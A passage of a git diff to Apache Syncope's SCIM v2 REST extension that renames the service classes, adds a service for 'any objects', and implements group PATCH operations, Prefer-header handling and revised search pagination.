anyObjectDAO, final UserLogic userLogic, final GroupLogic groupLogic, + final AnyObjectLogic anyObjectLogic, final SCIMDataBinder binder, final SCIMConfManager confManager) { - return new UserServiceImpl(userDAO, groupDAO, userLogic, groupLogic, binder, confManager); + return new SCIMAnyObjectServiceImpl(userDAO, groupDAO, anyObjectDAO, userLogic, groupLogic, anyObjectLogic, + binder, confManager); } } diff --git a/ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/service/AbstractService.java b/ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/service/AbstractSCIMService.java similarity index 60% rename from ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/service/AbstractService.java rename to ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/service/AbstractSCIMService.java index 51e30dfeea9..97b561c1d74 100644 --- a/ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/service/AbstractService.java +++ b/ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/service/AbstractSCIMService.java @@ -29,10 +29,14 @@ import org.apache.commons.lang3.tuple.Pair; import org.apache.cxf.jaxrs.ext.MessageContext; import org.apache.syncope.common.lib.SyncopeConstants; +import org.apache.syncope.common.lib.to.AnyObjectTO; import org.apache.syncope.common.lib.to.AnyTO; import org.apache.syncope.common.lib.to.GroupTO; import org.apache.syncope.common.lib.to.UserTO; +import org.apache.syncope.common.rest.api.Preference; +import org.apache.syncope.common.rest.api.RESTHeaders; import org.apache.syncope.core.logic.AbstractAnyLogic; +import org.apache.syncope.core.logic.AnyObjectLogic; import org.apache.syncope.core.logic.GroupLogic; import org.apache.syncope.core.logic.SCIMDataBinder; import org.apache.syncope.core.logic.UserLogic; @@ -40,10 +44,13 @@ import org.apache.syncope.core.logic.scim.SearchCondConverter; import org.apache.syncope.core.logic.scim.SearchCondVisitor; import org.apache.syncope.core.persistence.api.dao.AnyDAO; +import org.apache.syncope.core.persistence.api.dao.AnyObjectDAO; import org.apache.syncope.core.persistence.api.dao.GroupDAO; import org.apache.syncope.core.persistence.api.dao.NotFoundException; import org.apache.syncope.core.persistence.api.dao.UserDAO; +import org.apache.syncope.core.persistence.api.dao.search.AnyTypeCond; import org.apache.syncope.core.persistence.api.dao.search.OrderByClause; +import org.apache.syncope.core.persistence.api.dao.search.SearchCond; import org.apache.syncope.ext.scimv2.api.BadRequestException; import org.apache.syncope.ext.scimv2.api.data.ListResponse; import org.apache.syncope.ext.scimv2.api.data.SCIMResource; @@ -54,9 +61,9 @@ import org.slf4j.Logger; import org.slf4j.LoggerFactory; -abstract class AbstractService { +public abstract class AbstractSCIMService { - protected static final Logger LOG = LoggerFactory.getLogger(AbstractService.class); + protected static final Logger LOG = LoggerFactory.getLogger(AbstractSCIMService.class); @Context protected UriInfo uriInfo; @@ -68,53 +75,61 @@ abstract class AbstractService { protected final GroupDAO groupDAO; + protected final AnyObjectDAO anyObjectDAO; + protected final UserLogic userLogic; protected final GroupLogic groupLogic; + protected final AnyObjectLogic anyObjectLogic; + protected final SCIMDataBinder binder; protected final SCIMConfManager confManager; - protected AbstractService( + protected AbstractSCIMService( final UserDAO userDAO, final GroupDAO groupDAO, + final AnyObjectDAO anyObjectDAO, final UserLogic userLogic, final GroupLogic groupLogic, + final AnyObjectLogic anyObjectLogic, final SCIMDataBinder binder, final SCIMConfManager confManager) { this.userDAO = userDAO; this.groupDAO = groupDAO; + this.anyObjectDAO = anyObjectDAO; this.userLogic = userLogic; this.groupLogic = groupLogic; + this.anyObjectLogic = anyObjectLogic; this.binder = binder; this.confManager = confManager; } - protected AnyDAO anyDAO(final Resource type) { + protected AnyDAO anyDAO(final String type) { switch (type) { - case User: + case "urn:ietf:params:scim:schemas:core:2.0:User": return userDAO; - case Group: + case "urn:ietf:params:scim:schemas:core:2.0:Group": return groupDAO; default: - throw new UnsupportedOperationException(); + return anyObjectDAO; } } - protected AbstractAnyLogic anyLogic(final Resource type) { + protected AbstractAnyLogic anyLogic(final String type) { switch (type) { - case User: + case "User": return userLogic; - case Group: + case "Group": return groupLogic; default: - throw new UnsupportedOperationException(); + return anyObjectLogic; } } @@ -124,13 +139,34 @@ protected Response createResponse(final String key, final SCIMResource resource) build(); } - protected Response updateResponse(final String key, final SCIMResource resource) { + protected Response updateResponse(final String key, final SCIMResource resource, final boolean patch) { + if (patch) { + Response.ResponseBuilder builder; + switch (getPreference()) { + case RETURN_NO_CONTENT: + builder = Response.noContent(); + break; + + case RETURN_CONTENT: + case NONE: + default: + builder = Response.ok(uriInfo.getAbsolutePathBuilder().path(key).build()).entity(getResource(key)); + break; + } + if (getPreference() == Preference.RETURN_CONTENT || getPreference() == Preference.RETURN_NO_CONTENT) { + builder.header(RESTHeaders.PREFERENCE_APPLIED, getPreference().toString()); + } + + return builder.build(); + } return Response.ok(uriInfo.getAbsolutePathBuilder().path(key).build()). entity(resource). build(); } - protected ResponseBuilder checkETag(final Resource resource, final String key) { + protected abstract SCIMResource getResource(String key); + + protected ResponseBuilder checkETag(final String resource, final String key) { OffsetDateTime lastChange = anyDAO(resource).findLastChange(key); if (lastChange == null) { throw new NotFoundException("Resource" + key + " not found"); @@ -142,7 +178,7 @@ protected ResponseBuilder checkETag(final Resource resource, final String key) { @SuppressWarnings("unchecked") protected ListResponse doSearch( - final Resource type, + final String type, final SCIMSearchRequest request) { if (type == null) { @@ -155,12 +191,22 @@ protected ListResponse doSearch( SearchCondVisitor visitor = new SearchCondVisitor(type, confManager.get()); - int startIndex = request.getStartIndex() <= 1 - ? 1 - : (request.getStartIndex() / AnyDAO.DEFAULT_PAGE_SIZE) + 1; + int startIndex = request.getStartIndex() <= 1 ? 1 : request.getStartIndex(); int itemsPerPage = request.getCount() <= 1 ? AnyDAO.DEFAULT_PAGE_SIZE : request.getCount(); + int page = request.getStartIndex() <= 1 ? 1 : (request.getStartIndex() / itemsPerPage) + 1; + + /* + * startIndex=1 and count=10 is supported + * startIndex=11 and count=10 is supported + * startIndex=21 and count=10 is supported + * startIndex=2 and count=10 is not supported + */ + if ((startIndex - 1) % itemsPerPage != 0) { + throw new BadRequestException(ErrorType.invalidValue, "Unsupported startIndex value provided"); + } + List sort; if (request.getSortBy() == null) { sort = List.of(); @@ -173,23 +219,36 @@ protected ListResponse doSearch( sort = List.of(clause); } + SearchCond searchCond = null; + String filter = request.getFilter(); + if (!Resource.Group.name().equals(type) && !Resource.User.name().equals(type)) { + AnyTypeCond cond = new AnyTypeCond(); + cond.setAnyTypeKey(type); + searchCond = SearchCond.getLeaf(cond); + filter = filter.replaceAll( + "(\\s*(and|or)\\s+)?type\\s+eq\\s+\"[^\"]*\"(\\s*(and|or)\\s+)?", " ") + .trim().replaceAll("\\s{2,}", " "); + } + if (StringUtils.isNotBlank(filter)) { + SearchCond filterCond = SearchCondConverter.convert(visitor, filter); + searchCond = (searchCond == null) + ? filterCond + : SearchCond.getAnd(filterCond, searchCond); + } Pair> result = anyLogic(type).search( - StringUtils.isBlank(request.getFilter()) - ? null - : SearchCondConverter.convert(visitor, request.getFilter()), - startIndex, + searchCond, + page, itemsPerPage, sort, SyncopeConstants.ROOT_REALM, true, - false); + true); if (result.getLeft() > confManager.get().getGeneralConf().getFilterMaxResults()) { throw new BadRequestException(ErrorType.tooMany, "Too many results found"); } - ListResponse response = new ListResponse<>( - result.getLeft(), startIndex == 1 ? 1 : startIndex - 1, itemsPerPage); + ListResponse response = new ListResponse<>(result.getLeft(), startIndex, itemsPerPage); result.getRight().forEach(anyTO -> { SCIMResource resource = null; @@ -200,7 +259,14 @@ protected ListResponse doSearch( request.getAttributes(), request.getExcludedAttributes()); } else if (anyTO instanceof GroupTO) { - resource = binder.toSCIMGroup((GroupTO) anyTO, + resource = binder.toSCIMGroup( + (GroupTO) anyTO, + uriInfo.getAbsolutePathBuilder().path(anyTO.getKey()).build().toASCIIString(), + request.getAttributes(), + request.getExcludedAttributes()); + } else if (anyTO instanceof AnyObjectTO) { + resource = binder.toSCIMAnyObject( + (AnyObjectTO) anyTO, uriInfo.getAbsolutePathBuilder().path(anyTO.getKey()).build().toASCIIString(), request.getAttributes(), request.getExcludedAttributes()); @@ -214,4 +280,13 @@ protected ListResponse doSearch( return response; } + /** + * Reads {@code Prefer} header from request and parses into a {@code Preference} instance. + * + * @return a {@code Preference} instance matching the passed {@code Prefer} header, + * or {@code Preference.NONE} if missing. + */ + protected Preference getPreference() { + return Preference.fromString(messageContext.getHttpServletRequest().getHeader(RESTHeaders.PREFER)); + } } diff --git a/ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/service/SCIMAnyObjectServiceImpl.java b/ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/service/SCIMAnyObjectServiceImpl.java new file mode 100644 index 00000000000..e226becc502 --- /dev/null +++ b/ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/service/SCIMAnyObjectServiceImpl.java @@ -0,0 +1,190 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.ext.scimv2.cxf.service; + +import java.util.List; +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import javax.ws.rs.core.Response; +import org.apache.commons.lang3.ArrayUtils; +import org.apache.commons.lang3.StringUtils; +import org.apache.syncope.common.lib.AnyOperations; +import org.apache.syncope.common.lib.request.AnyObjectUR; +import org.apache.syncope.common.lib.to.AnyObjectTO; +import org.apache.syncope.common.lib.to.ProvisioningResult; +import org.apache.syncope.core.logic.AnyObjectLogic; +import org.apache.syncope.core.logic.GroupLogic; +import org.apache.syncope.core.logic.SCIMDataBinder; +import org.apache.syncope.core.logic.UserLogic; +import org.apache.syncope.core.logic.scim.SCIMConfManager; +import org.apache.syncope.core.persistence.api.dao.AnyObjectDAO; +import org.apache.syncope.core.persistence.api.dao.GroupDAO; +import org.apache.syncope.core.persistence.api.dao.UserDAO; +import org.apache.syncope.ext.scimv2.api.BadRequestException; +import org.apache.syncope.ext.scimv2.api.data.ListResponse; +import org.apache.syncope.ext.scimv2.api.data.SCIMAnyObject; +import org.apache.syncope.ext.scimv2.api.data.SCIMPatchOp; +import org.apache.syncope.ext.scimv2.api.data.SCIMResource; +import org.apache.syncope.ext.scimv2.api.data.SCIMSearchRequest; +import org.apache.syncope.ext.scimv2.api.service.SCIMAnyObjectService; +import org.apache.syncope.ext.scimv2.api.type.ErrorType; +import org.apache.syncope.ext.scimv2.api.type.SortOrder; + +public class SCIMAnyObjectServiceImpl extends AbstractSCIMService implements SCIMAnyObjectService { + + public SCIMAnyObjectServiceImpl( + final UserDAO userDAO, + final GroupDAO groupDAO, + final AnyObjectDAO anyObjectDAO, + final UserLogic userLogic, + final GroupLogic groupLogic, + final AnyObjectLogic anyObjectLogic, + final SCIMDataBinder binder, + final SCIMConfManager confManager) { + + super(userDAO, groupDAO, anyObjectDAO, userLogic, groupLogic, anyObjectLogic, binder, confManager); + } + + @Override + public SCIMAnyObject get(final String id, final String attributes, final String excludedAttributes) { + return binder.toSCIMAnyObject( + anyObjectLogic.read(id), + uriInfo.getAbsolutePathBuilder().build().toASCIIString(), + List.of(ArrayUtils.nullToEmpty(StringUtils.split(attributes, ','))), + List.of(ArrayUtils.nullToEmpty(StringUtils.split(excludedAttributes, ',')))); + } + + @Override + public ListResponse search( + final String attributes, final String excludedAttributes, final String filter, final String sortBy, + final SortOrder sortOrder, final Integer startIndex, final Integer count) { + + SCIMSearchRequest request = new SCIMSearchRequest(filter, sortBy, sortOrder, startIndex, count); + if (attributes != null) { + request.getAttributes().addAll( + List.of(ArrayUtils.nullToEmpty(StringUtils.split(attributes, ',')))); + } + if (excludedAttributes != null) { + request.getExcludedAttributes().addAll( + List.of(ArrayUtils.nullToEmpty(StringUtils.split(excludedAttributes, ',')))); + } + + Matcher matcher = Pattern.compile("type\\s+eq\\s+\"(.*?)\"").matcher(filter); + if (matcher.find()) { + return doSearch(matcher.group(1), request); + } else { + throw new UnsupportedOperationException("Need to specify type"); + } + } + + @Override + public ListResponse search(final SCIMSearchRequest request) { + Matcher matcher = Pattern.compile("type\\s+eq\\s+\"(.*?)\"").matcher(request.getFilter()); + if (matcher.find()) { + return doSearch(matcher.group(1), request); + } else { + throw new UnsupportedOperationException("Need to specify type"); + } + } + + @Override + public Response create(final SCIMAnyObject anyObject) { + ProvisioningResult result = anyObjectLogic.create(binder.toAnyObjectCR(anyObject), false); + return createResponse( + result.getEntity().getKey(), + binder.toSCIMAnyObject( + result.getEntity(), + uriInfo.getAbsolutePathBuilder().path(result.getEntity().getKey()).build().toASCIIString(), + List.of(), + List.of())); + } + + @Override + public Response update(final String id, final SCIMPatchOp patch) { + SCIMResource resource = getResource(id); + Response.ResponseBuilder builder = checkETag( + "urn:ietf:params:scim:schemas:extension:syncope:2.0:" + resource.getSchemas().get(0), id); + if (builder != null) { + return builder.build(); + } + + patch.getOperations().forEach(op -> { + AnyObjectUR update = binder.toAnyObjectUR(anyObjectLogic.read(id), op); + anyObjectLogic.update(update, false); + }); + + return updateResponse( + id, + null, + true); + } + + @Override + public Response replace(final String id, final SCIMAnyObject anyObject) { + if (!id.equals(anyObject.getId())) { + throw new BadRequestException(ErrorType.invalidPath, "Expected " + id + ", found " + anyObject.getId()); + } + + SCIMResource resource = getResource(id); + Response.ResponseBuilder builder = checkETag( + "urn:ietf:params:scim:schemas:extension:syncope:2.0:" + resource.getSchemas().get(0), id); + if (builder != null) { + return builder.build(); + } + + AnyObjectTO before = anyObjectLogic.read(id); + + AnyObjectUR req = AnyOperations.diff(binder.toAnyObjectTO(anyObject, true), before, false); + req.getResources().clear(); + req.getAuxClasses().clear(); + req.getRelationships().clear(); + ProvisioningResult result = anyObjectLogic.update(req, false); + + return updateResponse( + result.getEntity().getKey(), + binder.toSCIMAnyObject( + result.getEntity(), + uriInfo.getAbsolutePathBuilder().path(result.getEntity().getKey()).build().toASCIIString(), + List.of(), + List.of()), + false); + } + + @Override + public Response delete(final String id) { + SCIMResource resource = getResource(id); + Response.ResponseBuilder builder = checkETag( + "urn:ietf:params:scim:schemas:extension:syncope:2.0:" + resource.getSchemas().get(0), id); + if (builder != null) { + return builder.build(); + } + + anyObjectLogic.delete(id, false); + return Response.noContent().build(); + } + + @Override + protected SCIMResource getResource(final String key) { + return binder.toSCIMAnyObject( + anyObjectLogic.read(key), + uriInfo.getAbsolutePathBuilder().path(key).build().toASCIIString(), + List.of(), + List.of()); + } +} diff --git a/ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/service/GroupServiceImpl.java b/ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/service/SCIMGroupServiceImpl.java similarity index 58% rename from ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/service/GroupServiceImpl.java rename to ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/service/SCIMGroupServiceImpl.java index cd528ab999e..f4cd1968c28 100644 --- a/ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/service/GroupServiceImpl.java +++ b/ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/service/SCIMGroupServiceImpl.java @@ -20,68 +20,85 @@ import java.util.HashSet; import java.util.List; +import java.util.Map; import java.util.Set; import java.util.stream.Collectors; import javax.ws.rs.core.Response; import javax.ws.rs.core.Response.ResponseBuilder; +import org.apache.commons.jexl3.MapContext; import org.apache.commons.lang3.ArrayUtils; +import org.apache.commons.lang3.BooleanUtils; import org.apache.commons.lang3.StringUtils; import org.apache.syncope.common.lib.AnyOperations; import org.apache.syncope.common.lib.SyncopeConstants; +import org.apache.syncope.common.lib.request.GroupUR; import org.apache.syncope.common.lib.request.MembershipUR; import org.apache.syncope.common.lib.request.UserUR; import org.apache.syncope.common.lib.to.GroupTO; import org.apache.syncope.common.lib.to.ProvisioningResult; import org.apache.syncope.common.lib.to.UserTO; import org.apache.syncope.common.lib.types.PatchOperation; +import org.apache.syncope.core.logic.AnyObjectLogic; import org.apache.syncope.core.logic.GroupLogic; import org.apache.syncope.core.logic.SCIMDataBinder; import org.apache.syncope.core.logic.UserLogic; import org.apache.syncope.core.logic.scim.SCIMConfManager; import org.apache.syncope.core.persistence.api.dao.AnyDAO; +import org.apache.syncope.core.persistence.api.dao.AnyObjectDAO; import org.apache.syncope.core.persistence.api.dao.GroupDAO; import org.apache.syncope.core.persistence.api.dao.UserDAO; import org.apache.syncope.core.persistence.api.dao.search.MembershipCond; import org.apache.syncope.core.persistence.api.dao.search.SearchCond; +import org.apache.syncope.core.provisioning.api.jexl.JexlUtils; import org.apache.syncope.ext.scimv2.api.BadRequestException; import org.apache.syncope.ext.scimv2.api.data.ListResponse; +import org.apache.syncope.ext.scimv2.api.data.Member; import org.apache.syncope.ext.scimv2.api.data.SCIMGroup; +import org.apache.syncope.ext.scimv2.api.data.SCIMPatchOp; +import org.apache.syncope.ext.scimv2.api.data.SCIMResource; import org.apache.syncope.ext.scimv2.api.data.SCIMSearchRequest; -import org.apache.syncope.ext.scimv2.api.service.GroupService; +import org.apache.syncope.ext.scimv2.api.service.SCIMGroupService; import org.apache.syncope.ext.scimv2.api.type.ErrorType; +import org.apache.syncope.ext.scimv2.api.type.PatchOp; import org.apache.syncope.ext.scimv2.api.type.Resource; import org.apache.syncope.ext.scimv2.api.type.SortOrder; +import org.springframework.util.CollectionUtils; -public class GroupServiceImpl extends AbstractService implements GroupService { +public class SCIMGroupServiceImpl extends AbstractSCIMService implements SCIMGroupService { - public GroupServiceImpl( + public SCIMGroupServiceImpl( final UserDAO userDAO, final GroupDAO groupDAO, + final AnyObjectDAO anyObjectDAO, final UserLogic userLogic, final GroupLogic groupLogic, + final AnyObjectLogic anyObjectLogic, final SCIMDataBinder binder, final SCIMConfManager confManager) { - super(userDAO, groupDAO, userLogic, groupLogic, binder, confManager); + super(userDAO, groupDAO, anyObjectDAO, userLogic, groupLogic, anyObjectLogic, binder, confManager); + } + + private void changeMembership(final String user, final String group, final PatchOp patchOp) { + UserUR req = new UserUR.Builder(user). + membership(new MembershipUR.Builder(group).operation(patchOp == PatchOp.remove + ? PatchOperation.DELETE : PatchOperation.ADD_REPLACE).build()). + build(); + try { + userLogic.update(req, false); + } catch (Exception e) { + LOG.error("While applying {} on membership of {} to {}", patchOp, group, user, e); + } } @Override public Response create(final SCIMGroup group) { // first create group, no members assigned - ProvisioningResult result = groupLogic.create(SCIMDataBinder.toGroupCR(group), false); + ProvisioningResult result = groupLogic.create(binder.toGroupCR(group), false); // then assign members - group.getMembers().forEach(member -> { - UserUR req = new UserUR.Builder(member.getValue()). - membership(new MembershipUR.Builder(result.getEntity().getKey()). - operation(PatchOperation.ADD_REPLACE).build()). - build(); - try { - userLogic.update(req, false); - } catch (Exception e) { - LOG.error("While setting membership of {} to {}", result.getEntity().getKey(), member.getValue(), e); - } - }); + group.getMembers().forEach(member -> changeMembership( + member.getValue(), result.getEntity().getKey(), PatchOp.add)); return createResponse( result.getEntity().getKey(), @@ -93,7 +110,8 @@ public Response create(final SCIMGroup group) { } @Override - public SCIMGroup get(final String id, + public SCIMGroup get( + final String id, final String attributes, final String excludedAttributes) { @@ -104,9 +122,57 @@ public SCIMGroup get(final String id, List.of(ArrayUtils.nullToEmpty(StringUtils.split(excludedAttributes, ',')))); } + private Set members(final String group) { + Set members = new HashSet<>(); + + MembershipCond membCond = new MembershipCond(); + membCond.setGroup(group); + SearchCond searchCond = SearchCond.getLeaf(membCond); + int count = userLogic.search(searchCond, 1, 1, List.of(), SyncopeConstants.ROOT_REALM, true, false).getLeft(); + for (int page = 1; page <= (count / AnyDAO.DEFAULT_PAGE_SIZE) + 1; page++) { + members.addAll(userLogic.search( + searchCond, + page, + AnyDAO.DEFAULT_PAGE_SIZE, + List.of(), + SyncopeConstants.ROOT_REALM, + true, + false). + getRight().stream().map(UserTO::getKey).collect(Collectors.toSet())); + } + + return members; + } + @Override - public Response update(final String id) { - return Response.status(Response.Status.NOT_IMPLEMENTED).build(); + public Response update(final String id, final SCIMPatchOp patch) { + ResponseBuilder builder = checkETag(Resource.Group.schema(), id); + if (builder != null) { + return builder.build(); + } + + patch.getOperations().forEach(op -> { + if (op.getPath() != null && "members".equals(op.getPath().getAttribute())) { + if (CollectionUtils.isEmpty(op.getValue())) { + members(id).stream().filter(member -> op.getPath().getFilter() == null + ? true + : BooleanUtils.toBoolean(JexlUtils.evaluateExpr( + SCIMDataBinder.filter2JexlExpression(op.getPath().getFilter()), + new MapContext(Map.of("value", member))).toString())). + forEach(member -> changeMembership(member, id, op.getOp())); + } else { + op.getValue().stream().map(Member.class::cast). + forEach(member -> changeMembership(member.getValue(), id, op.getOp())); + } + } else { + groupLogic.update(binder.toGroupUR(groupLogic.read(id), op), false); + } + }); + + return updateResponse( + id, + null, + true); } @Override @@ -115,34 +181,19 @@ public Response replace(final String id, final SCIMGroup group) { throw new BadRequestException(ErrorType.invalidPath, "Expected " + id + ", found " + group.getId()); } - ResponseBuilder builder = checkETag(Resource.Group, id); + ResponseBuilder builder = checkETag(Resource.Group.schema(), id); if (builder != null) { return builder.build(); } // save current group members - Set beforeMembers = new HashSet<>(); - - MembershipCond membCond = new MembershipCond(); - membCond.setGroup(id); - SearchCond searchCond = SearchCond.getLeaf(membCond); - int count = userLogic.search(searchCond, - 1, 1, List.of(), SyncopeConstants.ROOT_REALM, true, false).getLeft(); - for (int page = 1; page <= (count / AnyDAO.DEFAULT_PAGE_SIZE) + 1; page++) { - beforeMembers.addAll(userLogic.search( - searchCond, - page, - AnyDAO.DEFAULT_PAGE_SIZE, - List.of(), - SyncopeConstants.ROOT_REALM, - true, - false). - getRight().stream().map(UserTO::getKey).collect(Collectors.toSet())); - } + Set beforeMembers = members(id); // update group, don't change members - ProvisioningResult result = groupLogic.update( - AnyOperations.diff(SCIMDataBinder.toGroupTO(group), groupLogic.read(id), false), false); + GroupUR req = AnyOperations.diff(binder.toGroupTO(group, true), groupLogic.read(id), false); + req.getResources().clear(); + req.getAuxClasses().clear(); + ProvisioningResult result = groupLogic.update(req, false); // assign new members Set afterMembers = new HashSet<>(); @@ -150,30 +201,12 @@ public Response replace(final String id, final SCIMGroup group) { afterMembers.add(member.getValue()); if (!beforeMembers.contains(member.getValue())) { - UserUR req = new UserUR.Builder(member.getValue()). - membership(new MembershipUR.Builder(result.getEntity().getKey()). - operation(PatchOperation.ADD_REPLACE).build()). - build(); - try { - userLogic.update(req, false); - } catch (Exception e) { - LOG.error("While setting membership of {} to {}", - result.getEntity().getKey(), member.getValue(), e); - } + changeMembership(member.getValue(), result.getEntity().getKey(), PatchOp.add); } }); // remove unconfirmed members - beforeMembers.stream().filter(member -> !afterMembers.contains(member)).forEach(user -> { - UserUR req = new UserUR.Builder(user). - membership(new MembershipUR.Builder(result.getEntity().getKey()). - operation(PatchOperation.DELETE).build()). - build(); - try { - userLogic.update(req, false); - } catch (Exception e) { - LOG.error("While removing membership of {} from {}", result.getEntity().getKey(), user, e); - } - }); + beforeMembers.stream().filter(member -> !afterMembers.contains(member)).forEach(user -> changeMembership( + user, result.getEntity().getKey(), PatchOp.remove)); return updateResponse( result.getEntity().getKey(), @@ -181,17 +214,27 @@ public Response replace(final String id, final SCIMGroup group) { result.getEntity(), uriInfo.getAbsolutePathBuilder().path(result.getEntity().getKey()).build().toASCIIString(), List.of(), - List.of())); + List.of()), + false); + } + + @Override + protected SCIMResource getResource(final String key) { + return binder.toSCIMGroup( + groupLogic.read(key), + uriInfo.getAbsolutePathBuilder().path(key).build().toASCIIString(), + List.of(), + List.of()); } @Override public Response delete(final String id) { - ResponseBuilder builder = checkETag(Resource.Group, id); + ResponseBuilder builder = checkETag(Resource.Group.schema(), id); if (builder != null) { return builder.build(); } - anyLogic(Resource.Group).delete(id, false); + anyLogic(Resource.Group.name()).delete(id, false); return Response.noContent().build(); } @@ -215,11 +258,11 @@ public ListResponse search( List.of(ArrayUtils.nullToEmpty(StringUtils.split(excludedAttributes, ',')))); } - return doSearch(Resource.Group, request); + return doSearch(Resource.Group.name(), request); } @Override public ListResponse search(final SCIMSearchRequest request) { - return doSearch(Resource.Group, request); + return doSearch(Resource.Group.name(), request); } } diff --git a/ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/service/SCIMServiceImpl.java b/ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/service/SCIMServiceImpl.java index 010afe37284..0b1a868f8e8 100644 --- a/ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/service/SCIMServiceImpl.java +++ b/ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/service/SCIMServiceImpl.java @@ -20,11 +20,13 @@ import java.util.List; import javax.ws.rs.core.Response; +import org.apache.syncope.core.logic.AnyObjectLogic; import org.apache.syncope.core.logic.GroupLogic; import org.apache.syncope.core.logic.SCIMDataBinder; import org.apache.syncope.core.logic.SCIMLogic; import org.apache.syncope.core.logic.UserLogic; import org.apache.syncope.core.logic.scim.SCIMConfManager; +import org.apache.syncope.core.persistence.api.dao.AnyObjectDAO; import org.apache.syncope.core.persistence.api.dao.GroupDAO; import org.apache.syncope.core.persistence.api.dao.UserDAO; import org.apache.syncope.ext.scimv2.api.data.ResourceType; @@ -32,20 +34,22 @@ import org.apache.syncope.ext.scimv2.api.data.ServiceProviderConfig; import org.apache.syncope.ext.scimv2.api.service.SCIMService; -public class SCIMServiceImpl extends AbstractService implements SCIMService { +public class SCIMServiceImpl extends AbstractSCIMService implements SCIMService { protected final SCIMLogic scimLogic; public SCIMServiceImpl( final UserDAO userDAO, final GroupDAO groupDAO, + final AnyObjectDAO anyObjectDAO, final UserLogic userLogic, final GroupLogic groupLogic, + final AnyObjectLogic anyObjectLogic, final SCIMDataBinder binder, final SCIMConfManager confManager, final SCIMLogic scimLogic) { - super(userDAO, groupDAO, userLogic, groupLogic, binder, confManager); + super(userDAO, groupDAO, anyObjectDAO, userLogic, groupLogic, anyObjectLogic, binder, confManager); this.scimLogic = scimLogic; } @@ -56,12 +60,12 @@ public ServiceProviderConfig serviceProviderConfig() { @Override public List resourceTypes() { - return SCIMLogic.resourceTypes(uriInfo.getAbsolutePathBuilder()); + return scimLogic.resourceTypes(uriInfo.getAbsolutePathBuilder()); } @Override public ResourceType resourceType(final String type) { - return SCIMLogic.resourceType(uriInfo.getAbsolutePathBuilder(), type); + return scimLogic.resourceType(uriInfo.getAbsolutePathBuilder(), type); } @Override @@ -73,4 +77,9 @@ public Response schemas() { public Response schema(final String schema) { return Response.ok(scimLogic.schema(schema)).build(); } + + @Override + protected SCIMResource getResource(final String key) { + return null; + } } diff --git a/ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/service/UserServiceImpl.java b/ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/service/SCIMUserServiceImpl.java similarity index 63% rename from ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/service/UserServiceImpl.java rename to ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/service/SCIMUserServiceImpl.java index 23fb340a5e1..b9319e562fc 100644 --- a/ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/service/UserServiceImpl.java +++ b/ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/service/SCIMUserServiceImpl.java @@ -19,39 +19,50 @@ package org.apache.syncope.ext.scimv2.cxf.service; import java.util.List; +import java.util.Optional; import javax.ws.rs.core.Response; import javax.ws.rs.core.Response.ResponseBuilder; import org.apache.commons.lang3.ArrayUtils; import org.apache.commons.lang3.StringUtils; +import org.apache.commons.lang3.tuple.Pair; import org.apache.syncope.common.lib.AnyOperations; +import org.apache.syncope.common.lib.request.StatusR; +import org.apache.syncope.common.lib.request.UserUR; import org.apache.syncope.common.lib.to.ProvisioningResult; import org.apache.syncope.common.lib.to.UserTO; +import org.apache.syncope.common.lib.types.StatusRType; +import org.apache.syncope.core.logic.AnyObjectLogic; import org.apache.syncope.core.logic.GroupLogic; import org.apache.syncope.core.logic.SCIMDataBinder; import org.apache.syncope.core.logic.UserLogic; import org.apache.syncope.core.logic.scim.SCIMConfManager; +import org.apache.syncope.core.persistence.api.dao.AnyObjectDAO; import org.apache.syncope.core.persistence.api.dao.GroupDAO; import org.apache.syncope.core.persistence.api.dao.UserDAO; import org.apache.syncope.ext.scimv2.api.BadRequestException; import org.apache.syncope.ext.scimv2.api.data.ListResponse; +import org.apache.syncope.ext.scimv2.api.data.SCIMPatchOp; +import org.apache.syncope.ext.scimv2.api.data.SCIMResource; import org.apache.syncope.ext.scimv2.api.data.SCIMSearchRequest; import org.apache.syncope.ext.scimv2.api.data.SCIMUser; -import org.apache.syncope.ext.scimv2.api.service.UserService; +import org.apache.syncope.ext.scimv2.api.service.SCIMUserService; import 